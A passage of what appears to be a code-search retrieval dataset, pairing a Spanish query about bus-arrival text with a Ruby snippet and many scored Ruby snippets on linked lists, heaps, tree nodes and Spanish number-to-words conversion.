@head\n idx.times { current_node = current_node.next_node }\n current_node\n end", "title": "" }, { "docid": "95d962159e3473a4360ff903566f244a", "score": "0.60708636", "text": "def swim(index)\n left = index * 2\n right = left + 1\n root = index\n # replace root with the largest of the two children\n if left <= @size\n root = left if @binary_heap[left] < @binary_heap[root]\n end\n if right <= @size\n root = right if @binary_heap[right] < @binary_heap[root]\n end\n\n # if root changed, need to swap and restore heap with new root\n if root != index\n Utility.swap(@binary_heap, root, index)\n swim(root)\n end\n end", "title": "" }, { "docid": "690df674e2a465ef5bb7c466e13fac7b", "score": "0.6063102", "text": "def move_back(node)\n delete_node(node)\n push_back(node.data)\n end", "title": "" }, { "docid": "728dccbf169f98cb7c7479eba3d6e9b9", "score": "0.6060543", "text": "def insert_at(value, index)\n return 'Error: Index out of range!' if size < index\n\n if index == 0\n @content = Node.new(value, @content)\n else\n node_number = 1\n current_node = @content\n until node_number == index\n current_node = current_node.next_node\n node_number += 1\n end\n current_node.next_node = Node.new(value, current_node.next_node)\n end\n end", "title": "" }, { "docid": "b66cdde2158e556f28efe512972e7cfe", "score": "0.606034", "text": "def insert_at(pos, node) end", "title": "" }, { "docid": "3c7a41fe65fd487845d69836d25ea72d", "score": "0.6058241", "text": "def sift_up(idx)\n return self if idx <= 0\n pidx = self.class.parent_idx(idx, @child_slots)\n if !self.heapish?(pidx, idx)\n @array[idx], @array[pidx] = @array[pidx], @array[idx] # swap\n self.sift_up(pidx)\n end\n self\n end", "title": "" }, { "docid": "3c1e9bfd9d6d9ed203b79f39213f944b", "score": "0.6056919", "text": "def bubble_up(index)\n parent_index = (index / 2)\n\n # return if we reach the root element\n return if index <= 1\n\n # or if the parent is already greater than the child\n return if @elements[parent_index].get_f <= @elements[index].get_f\n\n # otherwise we exchange the child with the parent\n exchange(index, parent_index)\n\n # and keep bubbling up\n bubble_up(parent_index)\n end", "title": "" }, { "docid": "7faa5fc8caf8c3fbb19592fb9b6cbc7e", "score": "0.6055539", "text": "def replace(*nodes)\n\t\tchildren = self.parent.children\n\n\t\tindex = children.exact_index(self)\n\t\tchildren.delete_at(index)\n\n\t\tchildren.insert(index, *nodes)\n\tend", "title": "" }, { "docid": "2365d9f5dcd7614a1109b4cb25d1a0d2", "score": "0.6050806", "text": "def at(index)\n node = @head\n until node.index == index\n node = node.next_node\n end\n node\n end", "title": "" }, { "docid": "b52978cd1f9069e3152b033806fc779d", "score": "0.60506654", "text": "def replaceChild(new_child, old_child)\n insertBefore(new_child, old_child.next)\n old_child.remove\n end", "title": "" }, { "docid": "e82b1045c1cff00e9dbc96f9d550ffeb", "score": "0.6040831", "text": "def []= index, value\n\t\t@children[index] = value\n\tend", "title": "" }, { "docid": "e455c9a4efd078d3f4353223caf1b46f", "score": "0.60378104", "text": "def move_conflicting_nodes(nv,dv)\r\n # As we are moving to the position of the conflicting sibling, it all items can be shifted similar to \"move_above\"\r\n\r\n conflicting_sibling = base_class.where(:rational_number_nv => nv).where(:rational_number_dv => dv).excludes(:id => self.id).first\r\n if (conflicting_sibling != nil)\r\n # puts \"moving conflicting nodes\"\r\n without_timestamping do\r\n # ensure_to_be_sibling_of(conflicting_sibling)\r\n return if conflicting_sibling.position == self.position + 1\r\n # If there are nodes between this and conflicting_sibling before move, make sure their position shifted before moving\r\n _direction = (self.position > conflicting_sibling.position ? 1 : -1)\r\n _position = (_direction < 0 ? conflicting_sibling.position + _direction : conflicting_sibling.position)\r\n shift_nodes_position(conflicting_sibling, _direction, (_direction > 0 ? false : true))\r\n end\r\n end\r\n end", "title": "" }, { "docid": "4048b3aef17d5ddb0df4ebf6f19635ec", "score": "0.6032254", "text": "def move_right\n move_to_right_of right_sibling\n end", "title": "" }, { "docid": "26073a6def9389cee444f4d6b52e39cf", "score": "0.60313934", "text": "def move_left\n move_to_left_of left_sibling\n end", "title": "" }, { "docid": "1404edae886c597d7dcd54d471af389a", "score": "0.60246265", "text": "def move_below(other)\n ensure_to_be_sibling_of(other)\n\n if position > other.position\n new_position = other.position + 1\n self.siblings_between(other).inc(:position => 1)\n else\n new_position = other.position\n self.siblings_between(other).inc(:position => -1)\n other.inc(:position => -1)\n end\n\n self.position = new_position\n save!\n end", "title": "" }, { "docid": "d5fa0b4415be38553be6b2246a3eeb25", "score": "0.6017092", "text": "def insert_at(index, value)\n return nil if index < 0 || index > @size - 1\n\n case index \n when 0 then prepend(value)\n when @size - 1 then append(value)\n\n else\n node = at(index - 1)\n new_node = Node.new\n new_node.value = value\n new_node.next_node = node.next_node\n node.next_node = new_node\n @size += 1\n update_index\n end\n end", "title": "" }, { "docid": "4557ae7329006e74126537d93b2397d1", "score": "0.6010313", "text": "def shift_indices_right_after(start_index, skip_current_name=nil)\n @uses.each_with_index do |index_hash, index|\n if index == (@current - 1)\n skip_match = skip_current_name == @name\n\n #If any children match skip_current_name, we want to apply skip to parent as well\n if !skip_match\n @children[index].values.each do |child|\n skip_match = true if child.name == skip_current_name\n end\n end\n end\n\n if !skip_match\n index_hash[:first] += 1 if index_hash[:first] >= start_index\n index_hash[:last] += 1 if !index_hash[:last].nil? && index_hash[:last] >= start_index\n end\n\n #Update child group mappings\n @children[index].values.each do |child|\n child.shift_indices_right_after(start_index, skip_current_name)\n end\n end\n end", "title": "" } ]
8cc159faf8f67c3fc77383fea3853195
Ent.Par. => Lllegando \d.+ min. => Llega en Autobus entorno parada. => Llegando sup. \d+ min. =>
[ { "docid": "1ba8656028333bc1e888be0eebab65a9", "score": "0.52140087", "text": "def transform_response(response)\n puts \"#{response}\"\n response.gsub!('Autobus entorno parada.', 'Llegando...')\n response.gsub!('Ent.Par', 'Llegando...')\n response.gsub!(/sup\\.\\s(\\d+)'/, 'Llega en más de \\1\\'')\n response\n end", "title": "" } ]
[ { "docid": "e1ce8380d9d51325b77f519745374d33", "score": "0.6167686", "text": "def numlet(numero)\r\n #numero=\"1658323.40\"\r\n @StrNumero=\"\"\r\n @StrUnidades=\"\"\r\n @StrDieces=\"\"\r\n @StrDecenas=\"\"\r\n @StrCienmil=\"\"\r\n @StrNumLet=\"\"\r\n @StrNumLet2=\"\"\r\n @NumPos=0\r\n @StrDigito=\"\"\r\n @StrDigito2=\"\"\r\n @NumDig=0\r\n @StrCents=\"\"\r\n \r\n # 1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\r\n @StrUnidades = \" UN DOS TRES CUATROCINCO SEIS SIETE OCHO NUEVE \"\r\n @StrDieces = \"DIEZ ONCE DOCE TRECE CATORCE QUINCE DIECISEIS DIECISIETEDIECIOCHO DIECINUEVE\"\r\n @StrDecenas = \" VEINTE TREINTA CUARENTA CINCUENTASESENTA SETENTA OCHENTA NOVENTA \"\r\n @StrCienmil = \" DOS TRES CUATROCINCO SEIS SETE OCHO NOVE \"\r\n @StrNumLet = \"\"\r\n @NumPos = -1\r\n \r\n #StrNumero = Format(numero, \"###########0.00\")\r\n @StrNumero = sprintf(\"%0.2f\",numero)\r\n @StrCents =@StrNumero[@StrNumero.length-2,@StrNumero.length] \r\n \r\n \r\n @StrNumero = @StrNumero[0,@StrNumero.index(\".\")]\r\n \r\n @NumDig = @StrNumero.length\r\n if @NumDig < 12\r\n @StrNumero = (\" \" * (12 - @NumDig.to_i)) + @StrNumero\r\n end\r\n \r\n while @NumPos < 11\r\n @NumPos = @NumPos + 1\r\n @StrDigito = @StrNumero[@NumPos, 1]\r\n if (\"-\"<=>@strDigito)!=0\r\n if \" 015\".index(@StrDigito).nil?\r\n @StrNumLet = @StrNumLet + @StrCienmil[@StrDigito.to_i * 6 , 6] + \"CIENTOS \"\r\n else\r\n if (@StrNumero[@NumPos, 3]<=>\"100\")==0\r\n @StrNumLet = @StrNumLet + \"CIEN \"\r\n else\r\n if (@StrDigito<=>\"5\")==0\r\n @StrNumLet = @StrNumLet + \"QUINIENTOS \"\r\n end\r\n if (@StrDigito<=>\"1\")==0\r\n @StrNumLet = @StrNumLet + \"CIENTO \"\r\n end\r\n end\r\n end\r\n \r\n @NumPos = @NumPos + 1\r\n #Verifica los dieces y unidades\r\n @StrDigito = @StrNumero[@NumPos, 1]\r\n @StrDigito2 = @StrNumero[@NumPos + 1, 1]\r\n \r\n if (@StrDigito<=>\"1\")>0\r\n @StrNumLet2 = @StrNumLet\r\n @StrNumLet = @StrNumLet + @StrDecenas[@StrDigito.to_i * 9, 9]\r\n if (@StrDigito2<=>\"0\")>0\r\n if (@StrDigito<=>\"2\")==0\r\n @StrNumLet = @StrNumLet2 + \"VEINTI\"\r\n else\r\n @StrNumLet = @StrNumLet + \" Y \"\r\n end\r\n @StrNumLet = @StrNumLet + @StrUnidades[@StrDigito2.to_i * 6, 6]\r\n end\r\n else\r\n if (@StrDigito<=>\"1\")==0\r\n @StrNumLet = @StrNumLet + @StrDieces[@StrDigito2.to_i * 10, 10]\r\n else\r\n if (@StrDigito2<=>\"-\")!=0\r\n @StrNumLet = @StrNumLet + @StrUnidades[@StrDigito2.to_i * 6, 6]\r\n end\r\n end\r\n end\r\n @NumPos = @NumPos + 1\r\n if (@NumPos == 2 or @NumPos == 8) and ((@StrDigito2<=>\" \")!=0)\r\n @StrNumLet = @StrNumLet + \" MIL \"\r\n else\r\n if @NumPos == 5 and ((@StrDigito2<=>\" \")!=0)\r\n if numero.to_f >= 2000000\r\n @StrNumLet = @StrNumLet + \" MILLONES \"\r\n else\r\n @StrNumLet = @StrNumLet + \" MILLON \"\r\n end\r\n end\r\n end\r\n end\r\n \r\n end\r\n \r\n @StrNumLet = \"**(\" + @StrNumLet.strip + \" PESOS \" + @StrCents.strip + \"/100 M.N.)**\"\r\n numlet = @StrNumLet\r\n \r\n end", "title": "" }, { "docid": "3da833d81b614841b3f4fffad89f8648", "score": "0.5833106", "text": "def find_numbers_units\n buf = ''\n number = 0\n units = []\n numbers = []\n text = @tr_body.nil? ? @body : @tr_body\n while !text.nil? && !text.empty?\n partition = text.partition(/[-|+]?[0-9]+[.|,]?[0-9]*/)\n\n #partion[0] - poszukiwanie nazwy\n buf += partition[0]\n if partition[1].is_numeric?\n numbers << partition[1]\n\n buf += @num_rgx.gsub('x', number.to_s)\n\n result = find_unit partition[2], number\n if !result.nil?\n units << result[0]\n buf += result[1]\n partition[2] = result[2]\n end\n number += 1\n else\n buf += partition[1]\n end\n #partion[2] - poszukiwanie jednostki\n\n text = partition[2]\n end\n\n @numbers = numbers\n @units = units\n @tr_body = buf\n end", "title": "" }, { "docid": "eba8acc2ec9cfd69bacfdf0e51d1e96c", "score": "0.56890947", "text": "def re\n strict ? \"(?:(?:\\\\+|-)\\\\d{#{@length-1}}|\\\\d{#{@length}})\" : \".{#{@length}}\"\n end", "title": "" }, { "docid": "2b571a7064d7f544be2235f17015f130", "score": "0.5598056", "text": "def ol1\n @line[/^ {2}[0-9]+\\. (.*)/, 1]\n end", "title": "" }, { "docid": "eb08a26442a9e780e6c3cfe0b07825bb", "score": "0.55869496", "text": "def jugador\n puts \"Escoge una casilla (1-9)\"\n casilla = gets.chomp\n valid=/\\d/.match(casilla)\n if valid != nil then\n tiros.each do |num,var|\n if casilla == num then\n #Regreso el tiro en str\n var.sub!(\" \", \"X\")\n end\n end\n else\n puts \"<< Ingresa un dígito válido entre 1-9 >>\"\n jugador\n end\n end", "title": "" }, { "docid": "efcd3201d57a04b0f34cd003acecff86", "score": "0.55851233", "text": "def likely_model_name str\n score = 0\n return -10 if str.nil? or str.strip.length==0\n \n ja = just_alphanumeric(str)\n score += 1 if (ja.length < 18 and ja.length > 2)\n score += 2 if (ja.length < 11 and ja.length > 3)\n score += 1 if (ja.length < 9 and ja.length > 4)\n score -= 2 unless ja.match(/\\d/)\n score += 1 if ja.match(/\\d/) and ja.match(/\\D/)\n score += 1 if (ja.match(/^\\d+\\D+$/) or ja.match(/^\\D+\\d+$/) )\n \n justnum = str.scan(/\\d+/).collect{|x| (x || '').to_s.length}.sort.last || 0\n score += 2 if (justnum == 4) or (justnum > 10 and str.length == justnum)\n score += 1 if justnum == 3\n \n score += 1 if str.match(/(\\s|^)i+(\\s|$)/i)\n score += 2 if str.match(/ii+(\\s|$)/i)\n score -= 1 if str.match(/0000/) \n score -= 4 if str.match(/(\\s|^)\\d+\\.\\d+/)\n score -= 1 if str.match(/(\\d|I)/).nil?\n #str.split(/\\s/).each{|x| score -= 1 if(x.match(/[0-9]/).nil?)}\n score -= 2 if str.match(/(,|\\.|:)/)\n \n score -= 2 if str.match(/(\\s|^)-+(\\s|$)/)\n score -= 3 if str.match(/\\(|\\)|\\[|\\]/)\n score -= 1 if str.match(/\\/$/)\n \n score -= 1 if str.match(/(\\s|^)for(\\s|$)/)\n score -= 5 if str.match(/(\\s|^)(series|and|&)(\\s|$)/i)\n \n score -= 1 if str.split(/\\s/).last.match(/\\d/).nil?\n \n score += 10 if str == 'Verve' # TODO so hacky!\n score += 1 if str.match(/M\\d.\\d/) # TODO hacky\n \n $units.each do |unit|\n score -= 3 if str.match(/\\d(\\s|-)?#{unit}s?(\\s|;|,|$)/)\n score -= 1 if str.match(/\\d(\\s|-)?#{unit}s?(\\s|;|,|$)/i)\n end\n \n # Don't allow series...\n ([Session.product_type]+($brands||[])+($series||[])).each do |nonmodel|\n score -= 3 if str.match(/(\\s|^)(#{nonmodel})(\\s|,|$)/i)\n end\n # ... except if it's before a very short model name\n ($series || []).each do |serie|\n if str.match(/^(#{serie})\\s[a-zA-Z0-9]{1,3}$/i)\n score += 2 \n end\n if str.match(/^(#{serie})\\s\\S{1,3}$/i)\n score += 3\n end\n if str.match(/^#{serie}\\s\\d\\.\\d$/i) \n score += 3\n end\n end\n \n return score\n end", "title": "" }, { "docid": "44177e0834b196be9fecfd1f650b05c9", "score": "0.5569311", "text": "def Testll\n \"RTYRTYrt\"\n \"###d\"\n \"%%%\"\n end", "title": "" }, { "docid": "14b0082614a06389dce0617c22a1dd40", "score": "0.5544522", "text": "def get_age(age)\n # age.sub(/\\d+/) { |num| return num.to_i }\n age.sub(/^(\\d+).*/, '\\1').to_i\nend", "title": "" }, { "docid": "bae8bef1f1907d1d87278197e4a8703e", "score": "0.55332303", "text": "def preorpost(str)\n value = \"\\\\d+([\\\\,\\\\.]\\\\d+){0,2}\"\n \"(#{value}\\\\s*#{str})|(#{str}\\\\s*#{value})\"\nend", "title": "" }, { "docid": "2cc340604027ae28f002bdae6e191224", "score": "0.55112773", "text": "def metadeStrin\n puts \"informe uma palavra obter a sua metade.\"\n var = gets.chomp\n var = var.insert(-1,'*') \n id = var.index('*')\n id = id /2 \n var = var[0,id]\n puts \"informe uma palavra para revertela.\"\n rever = gets.chomp\n rever = rever.reverse\n id = \"A metade da palavra é: #{var}\\nA sua palavra invertida é:#{rever}\"\n id\nend\n\n#pega o somatorio dos numeros da data de nasc.\ndef somatorio numero\n unidades= numero%10\n numero=numero/10\n dezenas=numero%10\n numero=numero/10\n centenas=numero%10\n mi=numero/10\n\n resultado= unidades+dezenas+centenas+mi\n resultado\nend", "title": "" }, { "docid": "10e78de0cee583a222a10d46d05d21b8", "score": "0.54916257", "text": "def processaNomePeriodico(periodico)\r\n periodico = periodico.gsub(/ \\(Print\\)/,'')\r\n periodico = periodico.gsub(/ \\(UNISINOS\\)/,'')\r\n periodico = periodico.gsub(/ \\(PRINT\\)/,'')\r\n periodico = periodico.gsub(/ \\(Impresso\\)/,'')\r\n periodico = periodico.gsub(/ \\(Online\\)/,'')\r\n periodico = periodico.gsub(/ \\(Dordrecht\\. Online\\)/,'')\r\n periodico = periodico.gsub(/ \\(DORDRECHT\\. ONLINE\\)/,'')\r\n periodico = periodico.gsub(/IEEE TRANSACTIONS ON SOFTWARE ENGINEERING/,'IEEE Transactions on Software Engineering')\r\n periodico = periodico.gsub(/EMPIRICAL SOFTWARE ENGINEERING/,'Empirical Software Engineering')\r\n periodico = periodico.gsub(/INFORMATION AND SOFTWARE TECHNOLOGY/,'Information and Software Technology')\r\n periodico = periodico.gsub(/SOFTWARE-PRACTICE & EXPERIENCE/,'Software: Practice & Experience')\r\n periodico = periodico.gsub(/JOURNAL OF SYSTEMS AND SOFTWARE/,'Journal of Systems and Software')\r\n periodico = periodico.gsub(/TRANSACTIONS ON ASPECT-ORIENTED SOFTWARE DEVELOPMENT/, 'Transactions on Aspect-Oriented Software Development')\r\n periodico = periodico.gsub(/JOURNAL OF UNIVERSAL COMPUTER SCIENCE/, 'Journal of Universal Computer Science')\r\n periodico\r\nend", "title": "" }, { "docid": "cb05c8b22d242194480506b7d55afcc7", "score": "0.5464132", "text": "def num(i); rex(:num, i, /-?[0-9]+\\s*/); end", "title": "" }, { "docid": "1a8697974eacf70080fdc58dc9388db0", "score": "0.54388744", "text": "def piece_lu( ligne )\n m = GP::Motifs::PIECE.match ligne.strip\n\n erreur \"Format incorrect: '#{ligne}' =~#{GA::Motifs::PIECE.inspect}\" unless m\n erreur \"Nombre incorrect d'arguments: '#{ligne}'\" unless m.post_match.empty?\n\n noSerie, type, description = m.captures\n\n [noSerie, type, supprimer_guillemets(description)]\nend", "title": "" }, { "docid": "01be059701902946efaed581dd44b92e", "score": "0.5423273", "text": "def term_multiplier(text, last_text)\n\n (last_text =~ /[a-z0-9.\\)\\]]$/i and text =~ /^[a-z0-9.\\(]/i) ? '*' : ''\n\nend", "title": "" }, { "docid": "b9760c76c2923c87c049be0d84fefcf9", "score": "0.5406358", "text": "def regex\n Regexp.new(/(...)\\sto\\s(...)\\s(.*\\s\\d*)\\sto\\s(.*\\s\\d*)/i)\n end", "title": "" }, { "docid": "2cbcf5c4aec540de3d2d91a6ffa7b02e", "score": "0.53408253", "text": "def rut\n temp = super.split('-')\n validator = temp.pop\n numbers = temp.join\n [number_with_delimiter(numbers), validator].join('-')\n end", "title": "" }, { "docid": "df3c22d9d41429cfc292324ca3316183", "score": "0.5307721", "text": "def substitute_periods text\n begin\n modified = text.gsub(/b\\.\\s?(\\d{4})/, \"b#{FAKE_PERIOD} \\\\1\") || text # born\n modified.gsub!(/d\\.\\s?(\\d{4})/, \"d#{FAKE_PERIOD} \\\\1\") # died\n\n initials = modified.scan(/(?:^|\\s|\\()((?:[A-Zc]\\.)+)/) # initials, circas\n initials.each do |i|\n modified.gsub!(i[0], i[0].gsub(\".\",FAKE_PERIOD,))\n end\n\n ABBREVIATIONS.each do |title|\n mod_title = title.gsub('.', '\\.')\n modified.gsub!(/\\b#{mod_title}/, mod_title.gsub('\\.', FAKE_PERIOD))\n end\n\n return modified\n rescue => e\n puts \"Problem : #{e}\"\n return nil\n end\n end", "title": "" }, { "docid": "05ce72cf3b0111e2479adb074229a327", "score": "0.5293228", "text": "def regular_with_min_digits(min_size) \n\t\t\tRegexp.new(\"(\\\\d{1,#{@max_size}}$)|(\\\\d{#{min_size},#{@max_size}})\") \n\t\tend", "title": "" }, { "docid": "69a197349500e8a2dd6897ba64a18dbd", "score": "0.5273725", "text": "def test_diff_tan_x\r\n next_input_number = 4\r\n s = \"\\n(%o3) sec(x)^2\\n(%i4) \" \r\n mmp = Maxima::MatchProcessor.new([s])\r\n assert_equal 1, mmp.results.keys.size\r\n assert_equal 'sec(x)^2', mmp.results[next_input_number - 1]\r\n end", "title": "" }, { "docid": "1c509381242cdfcc18eb039bd420e59f", "score": "0.52341557", "text": "def invalid_syntax_total_time_split\n total_time_split_helper('123456')\n end", "title": "" }, { "docid": "208eb1c65441b5c8bd3d9f19546e5366", "score": "0.5226077", "text": "def minimum_english(start, stop, incr)\n min_name = start.to_english\n start.step(stop, incr) do |i|\n name = i.to_english\n min_name = name if min_name > name\n end\n min_name\nend", "title": "" }, { "docid": "89afa811f51d0f78806026f5d7908333", "score": "0.52260125", "text": "def calcule_age(string)\n tab_date = string.split('/')\n tempsActuel = Time.now.year \n anneeNaissance = tab_date[2] \n return nil if Float(anneeNaissance)>tempsActuel \n return Float(tempsActuel)-Float(anneeNaissance) \n end", "title": "" }, { "docid": "d38ff5efa0ff79e826316065070cc408", "score": "0.5219526", "text": "def period_of_time_from_string(word)\n\t\t\tword.scan(/\\d+/)[0].to_i * multiply_by(word)\n\t\tend", "title": "" }, { "docid": "b196c671847d9eba86efae55c399fa72", "score": "0.5212102", "text": "def number_beginnings\n @s.gsub2! /(#{BEFORE_NEW_WORD})#{LETTER}(#{WORD})/, \"\\\\1#{NUMBER}\\\\2\"\nend", "title": "" }, { "docid": "40427e3175ccca889e2502eef6cbb927", "score": "0.5207418", "text": "def valida_nro\r\n vl_num = '0'..'9'\r\n unless vl_num.include?(@ult_digito) \r\n raise 'Error el ultimo caracter de la placa debe ser numerico'\r\n end\r\n end", "title": "" }, { "docid": "c648d27e3e87cc20b8988d4141b203ee", "score": "0.51943713", "text": "def get_id_terna(nome)\r\n id = nome.match(/\\d{3}/)\r\n id = id.nil? ? \"\" : id[0]\r\n Success(id.to_s)\r\n end", "title": "" }, { "docid": "58f6bc862ca62280a8cdfd8a621bc228", "score": "0.51905537", "text": "def convert_recipe_ms_x(r)\n r.gsub(/(\\d+|\\d\\/\\d) (tbsp|tsp)/) {\"#{$1} #{$2} (#{($2 == \"tbsp\" ? $1.to_r * 15 : $1.to_r * 5).ceil}g)\"}\nend", "title": "" }, { "docid": "a67f6523ad912bf93df6a3ffabdb7591", "score": "0.5144257", "text": "def ol1_number\n @line[/^ {2}([0-9]+)\\..*/, 1]\n end", "title": "" }, { "docid": "4ca730be5c147c366787a250f0a480d3", "score": "0.5124269", "text": "def transformador\n numero = (@numero).to_f #Si utilizas cualquier otra cosa que nos sea un numero o float/decimal\n #El programa lo transformara a 0.0 por defecto\n case @unidadOriginal.chomp\n #Milimetros\n when \"mm\", \"MM\"\n if @unidadNueva.chomp == \"cm\" || @unidadNueva.chomp == \"CM\"\n puts \"tu resulado %.2f\" % (numero/10.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"dm\" || @unidadNueva.chomp == \"DM\"\n puts \"tu resulado %.2f\" % (numero/100.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"m\" || @unidadNueva.chomp == \"M\"\n puts \"tu resulado %.2f\" % (numero/1000.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"km\" || @unidadNueva.chomp == \"KM\"\n puts \"tu resulado %.5f\" % (numero/1000000.000).to_s + @unidadNueva\n else\n puts \"Introdusca una unidad correcta\"\n end\n #Centimetos\n when \"cm\", \"CM\"\n if @unidadNueva.chomp == \"mm\" || @unidadNueva.chomp == \"MM\"\n puts \"tu resulado %.2f\" % (numero*10.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"dm\" || @unidadNueva.chomp == \"DM\"\n puts \"tu resulado %.2f\" % (numero/10.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"m\" || @unidadNueva.chomp == \"M\"\n puts \"tu resulado %.2f\" % (numero/100.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"km\" || @unidadNueva.chomp == \"KM\"\n puts \"tu resulado %.5f\" % (numero/100000.000).to_s + @unidadNueva\n else\n puts \"Introdusca una unidad correcta\"\n end\n #Decimetros\n when \"dm\", \"DM\"\n if @unidadNueva.chomp == \"mm\" || @unidadNueva.chomp == \"MM\"\n puts \"tu resulado %.2f\" % (numero*100.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"cm\" || @unidadNueva.chomp == \"CM\"\n puts \"tu resulado %.2f\" % (numero*10.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"m\" || @unidadNueva.chomp == \"M\"\n puts \"tu resulado %.2f\" % (numero/10.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"km\" || @unidadNueva.chomp == \"KM\"\n puts \"tu resulado %.5f\" % (numero/10000.000).to_s + @unidadNueva\n else\n puts \"Introdusca una unidad correcta\"\n end\n #Metros\n when \"m\", \"M\"\n if @unidadNueva.chomp == \"mm\" || @unidadNueva.chomp == \"MM\"\n puts \"tu resulado %.2f\" % (numero*1000.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"cm\" || @unidadNueva.chomp == \"CM\"\n puts \"tu resulado %.2f\" % (numero*100.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"dm\" || @unidadNueva.chomp == \"DM\"\n puts \"tu resulado %.2f\" % (numero*10.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"km\" || @unidadNueva.chomp == \"KM\"\n puts \"tu resulado %.5f\" % (numero/1000.000).to_s + @unidadNueva\n else\n puts \"Introdusca una unidad correcta\"\n end\n #Kilometros\n when \"km\", \"KM\"\n if @unidadNueva.chomp == \"mm\" || @unidadNueva.chomp == \"MM\"\n puts \"tu resulado %.2f\" % (numero*1000000.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"cm\" || @unidadNueva.chomp == \"CM\"\n puts \"tu resulado %.2f\" % (numero*100000.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"dm\" || @unidadNueva.chomp == \"DM\"\n puts \"tu resulado %.2f\" % (numero*10000.000).to_s + @unidadNueva\n elsif @unidadNueva.chomp == \"m\" || @unidadNueva.chomp == \"M\"\n puts \"tu resulado %.2f\" % (numero*1000.000).to_s + @unidadNueva\n else\n puts \"Introdusca una unidad correcta\"\n end\n else\n puts \"Introduzca una unidad correcta, por favor\"\n end\n\n end", "title": "" }, { "docid": "4889bf3165bf70d2a096889612b46798", "score": "0.5123613", "text": "def y\n if self =~ /^\\(-{0,1}\\d+,(-{0,1}\\d+)\\)$/\n $1.to_i\n elsif self =~ /^\\w(\\d+)$/\n $1.to_i\n end\n end", "title": "" }, { "docid": "90b94dc70d60d09090ee7d1cff2ca9da", "score": "0.51188684", "text": "def numTranslate(val)\n\t\t\t\t #0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19\n\tletterCntLwr = [0,3,3,5,4,4,3,5,5,4, 3, 6, 6, 8, 8, 7, 7, 9, 8, 8] # 0 to nineteen\n\tletterCnt = {20 => 6, 30 => 6, 40 => 5, 50 => 5, 60 =>5, 70 =>7, 80 => 6, 90 =>6}\n\tstringVal = val.to_s.split(\"\").reverse\n\tcurIndex = stringVal.length - 1\n\twordLength = 0\n\tandUsed =false\n\tif(curIndex == 3) then # 1000 unit\n\t\twordLength = wordLength + 8 # add thousand\n\t\twordLength = wordLength + letterCntLwr[stringVal[curIndex].to_i]\n\t\tcurIndex = curIndex -1\n\tend\n\tif(curIndex == 2 and stringVal[curIndex].to_i != 0) then\n\t\twordLength = wordLength + 7 # add hundred\n\t\twordLength = wordLength + letterCntLwr[stringVal[curIndex].to_i]\n\t\tcurIndex = curIndex -1\n\tend\n\tif(curIndex == 1) then\n\t\tif((stringVal[curIndex].to_i != 0 or stringVal[curIndex - 1].to_i != 0) and wordLength > 0) then # add and\n\t\t\twordLength = wordLength + 3\n\t\t\tandUsed = true\n\t\tend\n\t\tif (stringVal[curIndex].to_i < 2) then\n\t\t\tdoubleDigit = \"\"\n\t\t\tdoubleDigit << stringVal[curIndex] << stringVal[curIndex - 1]\n\t\t\twordLength = wordLength + letterCntLwr[doubleDigit.to_i]\n\t\t\tcurIndex = -1\n\t\telse\n\t\t\tdoubleDigit = \"\"\n\t\t\tdoubleDigit << stringVal[curIndex] << \"0\"\n\t\t\twordLength = wordLength + letterCnt[doubleDigit.to_i]\n\t\t\tcurIndex = curIndex - 1\n\t\tend\n\tend\n\tif(curIndex == 0) then\n\t\twordLength = wordLength + letterCntLwr[stringVal[curIndex].to_i]\n\tend\n\twordLength\nend", "title": "" }, { "docid": "b06e086615c1309eacb4898b1ab73453", "score": "0.5118856", "text": "def eggnog_litres\n 150\nend", "title": "" }, { "docid": "53f4633ff1f581841d17fda419ec733d", "score": "0.5115248", "text": "def before_period\n value_before_character('\\.')\n end", "title": "" }, { "docid": "20bda716f3b9bc3a1970c0e2ed0d086a", "score": "0.5102945", "text": "def amount_parser(line)\n amount_number_regex = /^\\s*(\\d+ \\d+\\/\\d+|\\d+\\/\\d+|\\d+|\\d+\\.\\d+)\\s/ \n if amount_number_regex.match(line)\n amount_number_regex.match(line).to_s.rstrip\n elsif self.amount_word_parser(line)\n self.amount_word_parser(line).to_s\n else\n 0.0\n\t\tend\n\tend", "title": "" }, { "docid": "783cfc56ad337ceabe04eee995bde216", "score": "0.50988865", "text": "def dividir_nome(nome_completo)\n nome = nome_completo.to_s.split(/\\.?\\s+/)\n\n if (nome.size < 1)\n return \"Erro nome vazio\"\n elsif (nome.size == 1)\n return nome.first\n else\n return (nome.first + ' ' + nome.last)\n end\n end", "title": "" }, { "docid": "2a9db951c3d43550954e322142832bad", "score": "0.50973725", "text": "def number_llamas\n end", "title": "" }, { "docid": "27f40f7a42bc4ebf6e7519d967649008", "score": "0.50963455", "text": "def transformar_plong(cadena)\n @cadena = cadena + 'Plong' if cadena.nil? || cadena.match('Plong').nil?\n end", "title": "" }, { "docid": "7fbcf6b5317c76b8db6fce852a0e9096", "score": "0.50925404", "text": "def change_symbols(string)\n #Si el string no tiene puntos \n if string.length == 10 \n #busca este formato y lo cambia y le pone los puntos\n string.gsub(/(\\d{4})(\\d{3})(\\d{3})$/, '\\1-\\2-\\3')\n #si el string tiene puntos en vez de guiones\n elsif string.length == 12\n #compara el string con los puntos y los cambio por guiones\n string.gsub(/(\\d{4}).(\\d{3}).(\\d{3})$/, '\\1-\\2-\\3')\n #De lo contrario\n else\n #regresa el mismo string y un mensaje de que no es valido\n string + \" no valid\"\n end \nend", "title": "" }, { "docid": "9c5b39a1aa7b877ab6591f568cf2c390", "score": "0.50892556", "text": "def as_lt_minutes(variation=:ago)\n case variation \n when :ago\n as_lt_words(\"minutę\", \"minučių\", \"minutes\")\n when :noun\n as_lt_words(\"minutė\", \"minučių\", \"minutės\")\n when :since\n as_lt_words(\"minutės\", \"minučių\", \"minučių\")\n end\n end", "title": "" }, { 